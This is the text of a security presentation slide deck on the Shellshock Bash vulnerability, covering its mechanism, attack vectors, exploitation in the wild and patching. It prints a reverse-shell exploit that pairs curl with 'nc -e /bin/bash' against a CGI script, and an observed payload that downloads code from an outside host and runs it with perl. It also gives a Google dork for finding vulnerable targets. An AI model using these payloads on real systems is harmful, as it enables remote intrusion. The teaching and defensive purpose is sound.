
Shellshock Vulnerability 

    Tudor Enache 



About Me 

• OSCP, OSWP, GWAPT, ECSA, CEH certified 

• Former Technical Team Lead @ EA’s Red Team 

• 0-day hacktivist: Yahoo, Dell, Oracle, Fox-IT 
NATO Certified Diode etc. 

• Former Principal Consultant in Help AG Middle 
East in Dubai 

• Currently IT Security Manager @ 

    Emirates NBD 

 



• Shellshock Knowledge Prerequisites 

• Understanding the vulnerability 

• Attack vectors  

• Exploitation in the wild 

• Mitigation 

• Understanding the 0-Day threat 

 

 

Agenda 



Shellshock Knowledge 
Prerequisites 

/bin/bash 



root@owasp:~#echo “Bash is a Unix shell 

written for the GNU Project as a free 

software replacement for the Bourne shell 

(sh)” 

 

root@owasp:~#echo “Often installed as the 

system's default command-line interface” 

 

root@owasp:~#echo “Provides end users an 

interface to issue system commands and 

execute scripts” 

 

Shellshock Knowledge 
Prerequisites 



• Bash supports environment variables 

 

Shellshock Knowledge 
Prerequisites 



• You can invoke existing ones or add new ones 

 

Shellshock Knowledge 
Prerequisites 



• Let’s talk about bash functions 

– Can be used in .sh scripts 

– Can be defined in “one-liners” 

Shellshock Knowledge 
Prerequisites 



• Can also be defined in environment variables 

 

Shellshock Knowledge 
Prerequisites 



• OK, so what’s shellshock about? 

Understanding the 
vulnerability 



• Shellshock is effectively a Remote Command 
Execution vulnerability in BASH 
 

• The vulnerability relies in the fact that BASH 
incorrectly executes trailing commands when 
it imports a function definition stored into an 
environment variable 

Understanding the 
vulnerability 



env x='() { :;}; echo vulnerable' bash -c "echo test" 

Understanding the 
vulnerability 

Legit function definition 
in BASH environment 
variable 

Injection of arbitrary OS 
command 

BASH command “echo 
test” invoked with on-
the-fly defined 
environment  



• Any *NIX OS may be vulnerable 

• Any product / appliance implementing bash 
may be vulnerable 

• Vulnerable since version 1.03 of Bash released 
in September 1989 

 

 

Understanding the 
vulnerability 



• RCE via Apache with mod_cgi, CGI Scripts, 
Python, Perl   

• RCE on DHCP clients using Hostile DHCP 
Server 

• OpenSSH RCE/Privilege escalation 

 

+ others to come  

Attack Vectors 



Shellshock Remote Command Execution via 
Apache CGI Script Proof Of Concept 

Victim requirements: 

- Apache web server 

- mod_cgi enabled 

- Helloworld.cgi script 

Attacker requirements: 

- Listener running to accept incoming connections 

 

Attack Vectors 



root@kali:~# netcat -nlvp 443 

 

root@kali:~# curl -H "X-Frame-Options: () { 

:;};echo;/bin/nc -e /bin/bash 192.168.81.128 443" 

192.168.81.131/cgi-bin/helloworld.cgi 

Attack Vectors 

Demo Time 



Attack Vectors 

Shellshock Remote Command Execution via 
malicious DHCP server Proof of Concept 
 
Attacker Requirements: 
 
- Set up Fake Access Point  
- Set up rogue DHCP server 
- Set Additional Option to 114 or any option 

supporting a string and fill in the necessary 
payload 

 
Victim Requirements 
 
- Connect to fake access point with vulnerable 
dhcp client software (which is using bash) 
 



Attack Vectors 

POC Source: Geoff Walton – Senior Security Consultant at TrustedSec. 



Exploitation in the wild 



Exploitation in the wild 



Very easy to find targets via: 

• Google hacking (ie: filetype:cgi inurl:cgi-bin 
site:.ro) 

• Mass port scanning  

• Nmap shellshock script (recently developed) 

• Available online scanners (though pretty 
static) 

• Metasploit module (recently released) 

Exploitation in the wild 



Shellshock payload reportedly seen in the wild 
by security companies: 

 

Exploitation in the wild 

() { :;}; /bin/bash -c 'curl -

O http://dl.directxex.net/download/ni

ce.png /tmp/nice.png; perl 

/tmp/nice.png' 



Exploitation in the wild 



• Contact your vendor  

• Initial patches released for the GNU Project 
BASH did not properly close the vulnerability  

CVE-2014-6271, CVE-2014-6277, CVE-2014-
6278, CVE-2014-7169, CVE-2014-7186, CVE-
2014-7187 

• So when updating your *nix’s bash make sure 
you update with latest patch 

• Shellshocker.net has instructions per OS 

Mitigation 



 

 

 

Understanding the 0-Day threat 

(Brainstorming & Q&A) 

Understanding the 0-Day 
threat 


